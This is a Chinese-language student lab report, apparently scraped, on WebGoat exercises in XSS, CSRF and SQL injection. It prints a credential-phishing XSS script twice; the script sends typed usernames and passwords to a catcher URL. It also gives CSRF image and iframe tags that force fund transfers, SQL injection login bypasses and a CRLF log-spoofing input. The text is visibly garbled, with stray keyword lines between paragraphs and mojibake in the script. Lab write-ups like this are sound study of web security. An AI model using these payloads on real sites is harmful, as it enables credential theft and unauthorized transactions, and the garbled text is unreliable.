本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。javascript
1.儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做。2.經過referer、token或者驗證碼來檢測用戶提交。3.避免全站通用的cookie,嚴格設置cookie的域。java
在瀏覽器中輸入http://localhost:8080/WebGoat進入WebGoat登陸界面,直接用默認用戶名密碼guest登陸便可
git
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
在登陸框中輸入用戶名20165235,密碼20165235,點擊登陸後,顯示被竊取的用戶名和密碼。
web
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
注入成功,messege部分顯示的是三色框,在下方輸入用戶名20165235,密碼20165235,點擊提交後,成功獲取用戶名和密碼。
sql
開xss的第三個攻擊Reflected XSS Attacks在「Enter your three digit access code:」中輸入`<script>alert("20165235test");</script>`
<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />
點擊Submit提交。在下面中生成以Title命名的消息20165235test。點擊該連接,當前頁面就會下載這個消息並顯示出來,從而達到CSRF攻擊的目的。
瀏覽器
<iframe src="attack?Screen=327&menu=900&transferFunds=6000"> </iframe> <iframe src="attack?Screen=327&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成連接"20165235test"。點擊連接,攻擊成功:
安全
點擊view,能看到網絡端口使用狀況和 IP 地址,攻擊成功。
服務器
or 1=1
。攻擊成功,顯示全部城市的天氣狀況
cookie
選擇Injection Flaws中的第四項String SQL Injection,輸入查詢的用戶名' or '1'='1
,'1'='1'
是永真式,全部的用戶信息將會被輸出
網絡
在文本框中輸入用戶名qiying%0d%0aLogin Succeeded for username: admin
在密碼框輸入' or 1=1 --,成功登錄,攻擊成功。
此次實驗主要是利用WebGoat工具,進行SQL注入攻擊、XSS攻擊、CSRF攻擊。攻擊原理主要是利用一些語句漏洞,經過修改這些語句進行攻擊。實驗使我對SQL語句等相關知識有了進一步的理解,對網絡攻防的內容也有一些興趣,雖然不少方面作的仍是有所不足,可是仍然收穫頗豐